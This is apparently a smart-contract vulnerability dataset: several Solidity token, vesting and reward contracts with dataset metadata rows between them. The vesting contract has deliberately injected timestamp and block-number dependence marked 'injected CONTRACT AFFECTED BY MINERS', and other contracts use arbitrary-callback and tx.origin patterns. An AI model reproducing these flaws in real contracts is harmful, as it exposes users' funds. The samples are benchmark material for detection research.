VestingSchedule storage vestingSchedule = schedules[target];
require(block.timestamp > vestingSchedule.cliffTimeInSec);
_;
}
modifier validVestingScheduleTimes(uint startTimeInSec, uint cliffTimeInSec, uint endTimeInSec) {
require(cliffTimeInSec >= startTimeInSec);
require(endTimeInSec >= cliffTimeInSec);
_;
}
modifier addressNotNull(address target) {
require(target != address(0));
_;
}
/// @dev Assigns a vesting token to the wallet.
/// @param _vestingToken Token that will be vested.
constructor(address _vestingToken) public {
vestingToken = IERC20(_vestingToken);
}
/// @dev Registers a vesting schedule to an address.
/// @param _depositor Address that will be depositing vesting token.
/// @param _startTimeInSec The time in seconds that vesting began.
/// @param _cliffTimeInSec The time in seconds that tokens become withdrawable.
/// @param _endTimeInSec The time in seconds that vesting ends.
function registerVestingSchedule(address _addressToRegister,
address _depositor,
uint _startTimeInSec,
uint _cliffTimeInSec,
uint _endTimeInSec,
uint _totalAmount)
public
onlyOwner
addressNotNull(_depositor)
vestingScheduleNotConfirmed(_addressToRegister)
validVestingScheduleTimes(_startTimeInSec, _cliffTimeInSec, _endTimeInSec)
{
schedules[_addressToRegister] = VestingSchedule({
startTimeInSec: _startTimeInSec,
cliffTimeInSec: _cliffTimeInSec,
endTimeInSec: _endTimeInSec,
totalAmount: _totalAmount,
totalAmountWithdrawn: 0,
depositor: _depositor,
isConfirmed: false
});
emit VestingScheduleRegistered(_addressToRegister,
_depositor,
_startTimeInSec,
_cliffTimeInSec,
_endTimeInSec,
_totalAmount);
}
/// @param _startTimeInSec The time in seconds that vesting began.
/// @param _cliffTimeInSec The time in seconds that tokens become withdrawable.
/// @param _endTimeInSec The time in seconds that vesting ends.
function confirmVestingSchedule(uint _startTimeInSec,
uint _cliffTimeInSec,
uint _endTimeInSec,
uint _totalAmount)
public
addressRegistered(msg.sender)
vestingScheduleNotConfirmed(msg.sender)
{
VestingSchedule storage vestingSchedule = schedules[msg.sender];
require(vestingSchedule.startTimeInSec == _startTimeInSec);
require(vestingSchedule.cliffTimeInSec == _cliffTimeInSec);
require(vestingSchedule.endTimeInSec == _endTimeInSec);
require(vestingSchedule.totalAmount == _totalAmount);
vestingSchedule.isConfirmed = true;
require(vestingToken.transferFrom(vestingSchedule.depositor, address(this), _totalAmount));
emit VestingScheduleConfirmed(msg.sender,
vestingSchedule.depositor,
_startTimeInSec,
_cliffTimeInSec,
_endTimeInSec,
_totalAmount);
}
/// @dev Allows a registered address to withdraw tokens that have already been vested.
function withdraw()
public
vestingScheduleConfirmed(msg.sender)
pastCliffTime(msg.sender)
{
VestingSchedule storage vestingSchedule = schedules[msg.sender];
uint totalAmountVested = getTotalAmountVested(vestingSchedule);
uint amountWithdrawable = safeSub(totalAmountVested, vestingSchedule.totalAmountWithdrawn);
vestingSchedule.totalAmountWithdrawn = totalAmountVested;
if (block.number > 0) { //injected CONTRACT AFFECTED BY MINERS
require(vestingToken.transfer(msg.sender, amountWithdrawable));
emit Withdrawal(msg.sender, amountWithdrawable);
}
}
/// @dev Allows a registered address to request an address change.
/// @param _newRegisteredAddress Desired address to update to.
function requestAddressChange(address _newRegisteredAddress)
public
vestingScheduleConfirmed(msg.sender)
addressNotRegistered(_newRegisteredAddress)
addressNotNull(_newRegisteredAddress)
{
addressChangeRequests[msg.sender] = _newRegisteredAddress;
emit AddressChangeRequested(msg.sender, _newRegisteredAddress);
}
/// @dev Confirm an address change and migrate vesting schedule to new address.
/// @param _oldRegisteredAddress Current registered address.
/// @param _newRegisteredAddress Address to migrate vesting schedule to.
function confirmAddressChange(address _oldRegisteredAddress, address _newRegisteredAddress)
public
onlyOwner
pendingAddressChangeRequest(_oldRegisteredAddress)
addressNotRegistered(_newRegisteredAddress)
{
address newRegisteredAddress = addressChangeRequests[_oldRegisteredAddress];
require(newRegisteredAddress == _newRegisteredAddress); // prevents race condition
VestingSchedule memory vestingSchedule = schedules[_oldRegisteredAddress];
schedules[newRegisteredAddress] = vestingSchedule;
delete schedules[_oldRegisteredAddress];
delete addressChangeRequests[_oldRegisteredAddress];
emit AddressChangeConfirmed(_oldRegisteredAddress, _newRegisteredAddress);
}
/// @param vestingSchedule Vesting schedule used to calculate vested tokens.
/// @return Total tokens vested for a vesting schedule.
function getTotalAmountVested(VestingSchedule memory vestingSchedule)
internal
view
returns (uint)
{
if (block.timestamp >= vestingSchedule.endTimeInSec) return vestingSchedule.totalAmount; //injected CONTRACT AFFECTED BY MINERS
uint timeSinceStartInSec = safeSub(block.timestamp, vestingSchedule.startTimeInSec);
uint totalVestingTimeInSec = safeSub(vestingSchedule.endTimeInSec, vestingSchedule.startTimeInSec);
uint totalAmountVested = safeDiv(safeMul(timeSinceStartInSec, vestingSchedule.totalAmount),
totalVestingTimeInSec);
return totalAmountVested;
}
}
| 278,110 | 1,773 |
d735e5da7a118fe9d72cb3fd4eb2129da309df522b3dbe9731ea6f8df51ac839
| 13,220 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xaf7ef25c997a5121459122308a84a032d4a16868.sol
| 2,156 | 9,934 |
pragma solidity 0.4.18;
/// @title Utility Functions for uint
/// @author Daniel Wang - <[email protected]>
library MathUint {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function tolerantSub(uint a, uint b) internal pure returns (uint c) {
return (a >= b) ? a - b : 0;
}
/// @dev calculate the square of Coefficient of Variation (CV)
/// https://en.wikipedia.org/wiki/Coefficient_of_variation
function cvsquare(uint[] arr,
uint scale)
internal
pure
returns (uint)
{
uint len = arr.length;
require(len > 1);
require(scale > 0);
uint avg = 0;
for (uint i = 0; i < len; i++) {
avg += arr[i];
}
avg = avg / len;
if (avg == 0) {
return 0;
}
uint cvs = 0;
uint s;
uint item;
for (i = 0; i < len; i++) {
item = arr[i];
s = item > avg ? item - avg : avg - item;
cvs += mul(s, s);
}
return ((mul(mul(cvs, scale), scale) / avg) / avg) / (len - 1);
}
}
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <[email protected]>
contract ERC20 {
uint public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) view public returns (uint256);
function allowance(address owner, address spender) view public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
/// @title Ownable
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
function Ownable() public {
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// newOwner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title Claimable
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable {
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0 && newOwner != owner);
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = 0x0;
}
}
/// @title TokenTransferDelegate
/// @dev Acts as a middle man to transfer ERC20 tokens on behalf of different
/// versions of Loopring protocol to avoid ERC20 re-authorization.
/// @author Daniel Wang - <[email protected]>.
contract TokenTransferDelegate is Claimable {
using MathUint for uint;
////////////////////////////////////////////////////////////////////////////
/// Variables ///
////////////////////////////////////////////////////////////////////////////
mapping(address => AddressInfo) private addressInfos;
address public latestAddress;
////////////////////////////////////////////////////////////////////////////
/// Structs ///
////////////////////////////////////////////////////////////////////////////
struct AddressInfo {
address previous;
uint32 index;
bool authorized;
}
////////////////////////////////////////////////////////////////////////////
/// Modifiers ///
////////////////////////////////////////////////////////////////////////////
modifier onlyAuthorized() {
require(addressInfos[msg.sender].authorized);
_;
}
////////////////////////////////////////////////////////////////////////////
/// Events ///
////////////////////////////////////////////////////////////////////////////
event AddressAuthorized(address indexed addr, uint32 number);
event AddressDeauthorized(address indexed addr, uint32 number);
////////////////////////////////////////////////////////////////////////////
/// Public Functions ///
////////////////////////////////////////////////////////////////////////////
/// @dev Add a Loopring protocol address.
/// @param addr A loopring protocol address.
function authorizeAddress(address addr)
onlyOwner
external
{
var addrInfo = addressInfos[addr];
if (addrInfo.index != 0) { // existing
if (addrInfo.authorized == false) { // re-authorize
addrInfo.authorized = true;
AddressAuthorized(addr, addrInfo.index);
}
} else {
address prev = latestAddress;
if (prev == 0x0) {
addrInfo.index = 1;
addrInfo.authorized = true;
} else {
addrInfo.previous = prev;
addrInfo.index = addressInfos[prev].index + 1;
}
addrInfo.authorized = true;
latestAddress = addr;
AddressAuthorized(addr, addrInfo.index);
}
}
/// @dev Remove a Loopring protocol address.
/// @param addr A loopring protocol address.
function deauthorizeAddress(address addr)
onlyOwner
external
{
uint32 index = addressInfos[addr].index;
if (index != 0) {
addressInfos[addr].authorized = false;
AddressDeauthorized(addr, index);
}
}
function isAddressAuthorized(address addr)
public
view
returns (bool)
{
return addressInfos[addr].authorized;
}
function getLatestAuthorizedAddresses(uint max)
external
view
returns (address[] addresses)
{
addresses = new address[](max);
address addr = latestAddress;
AddressInfo memory addrInfo;
uint count = 0;
while (addr != 0x0 && count < max) {
addrInfo = addressInfos[addr];
if (addrInfo.index == 0) {
break;
}
addresses[count++] = addr;
addr = addrInfo.previous;
}
}
/// @dev Invoke ERC20 transferFrom method.
/// @param token Address of token to transfer.
/// @param from Address to transfer token from.
/// @param to Address to transfer token to.
/// @param value Amount of token to transfer.
function transferToken(address token,
address from,
address to,
uint value)
onlyAuthorized
external
{
if (value > 0 && from != to) {
require(ERC20(token).transferFrom(from, to, value));
}
}
function batchTransferToken(address lrcTokenAddress,
address feeRecipient,
bytes32[] batch)
onlyAuthorized
external
{
uint len = batch.length;
require(len % 6 == 0);
var lrc = ERC20(lrcTokenAddress);
for (uint i = 0; i < len; i += 6) {
address owner = address(batch[i]);
address prevOwner = address(batch[(i + len - 6) % len]);
// Pay token to previous order, or to miner as previous order's
// margin split or/and this order's margin split.
var token = ERC20(address(batch[i + 1]));
// Here batch[i+2] has been checked not to be 0.
if (owner != prevOwner) {
require(token.transferFrom(owner, prevOwner, uint(batch[i + 2])));
}
if (owner != feeRecipient) {
bytes32 item = batch[i + 3];
if (item != 0) {
require(token.transferFrom(owner, feeRecipient, uint(item)));
}
item = batch[i + 4];
if (item != 0) {
require(lrc.transferFrom(feeRecipient, owner, uint(item)));
}
item = batch[i + 5];
if (item != 0) {
require(lrc.transferFrom(owner, feeRecipient, uint(item)));
}
}
}
}
}
| 201,981 | 1,774 |
f4c1d6f964010fca023dd1dd0070822537e888096cc6c6c844640a8d718d4035
| 14,692 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc5d350b854a6cff0fc5a38a115a90c774dcae1b9.sol
| 2,673 | 9,697 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Authorizable is Ownable {
mapping(address => bool) public authorized;
event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization);
function Authorizable() public {
authorized[msg.sender] = true;
}
modifier onlyAuthorized() {
require(authorized[msg.sender]);
_;
}
function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public {
AuthorizationSet(addressAuthorized, authorization);
authorized[addressAuthorized] = authorization;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transferFunction(address _sender, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[_sender] = balances[_sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_sender, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return transferFunction(msg.sender, _to, _value);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC223TokenCompatible is BasicToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(isContract(_to)) {
_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
return transfer(_to, _value, _data, "tokenFallback(address,uint256,bytes)");
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Startable is Ownable, Authorizable {
event Start();
bool public started = false;
modifier whenStarted() {
require(started || authorized[msg.sender]);
_;
}
function start() onlyOwner public {
started = true;
Start();
}
}
contract StartToken is Startable, ERC223TokenCompatible, StandardToken {
function transfer(address _to, uint256 _value) public whenStarted returns (bool) {
return super.transfer(_to, _value);
}
function transfer(address _to, uint256 _value, bytes _data) public whenStarted returns (bool) {
return super.transfer(_to, _value, _data);
}
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public whenStarted returns (bool) {
return super.transfer(_to, _value, _data, _custom_fallback);
}
function transferFrom(address _from, address _to, uint256 _value) public whenStarted returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenStarted returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenStarted returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenStarted returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract HumanStandardToken is StandardToken, StartToken {
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
approve(_spender, _value);
require(_spender.call(bytes4(keccak256("receiveApproval(address,uint256,bytes)")), msg.sender, _value, _extraData));
return true;
}
}
contract BurnToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burnFunction(address _burner, uint256 _value) internal returns (bool) {
require(_value > 0);
require(_value <= balances[_burner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_burner, _value);
return true;
}
function burn(uint256 _value) public returns(bool) {
return burnFunction(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender]); // check if it has the budget allowed
burnFunction(_from, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
}
contract OriginToken is Authorizable, BasicToken, BurnToken {
function originTransfer(address _to, uint256 _value) onlyAuthorized public returns (bool) {
return transferFunction(tx.origin, _to, _value);
}
function originBurn(uint256 _value) onlyAuthorized public returns(bool) {
return burnFunction(tx.origin, _value);
}
}
contract Token is ERC223TokenCompatible, StandardToken, StartToken, HumanStandardToken, BurnToken, OriginToken {
uint8 public decimals = 18;
string public name = "CryptoForecast";
string public symbol = "CFT";
uint256 public initialSupply;
function Token() public {
totalSupply = 25000000 * 10 ** uint(decimals);
initialSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
}
| 203,897 | 1,775 |
11c28d0b885ef01c24b75b777e9d9df3e5e63b842117ad705dda2958b5dfdad4
| 18,018 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/44/44b9b2bc07b01fb468b0e4aa8ce24ba417910e41_Distributor.sol
| 3,957 | 15,655 |
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
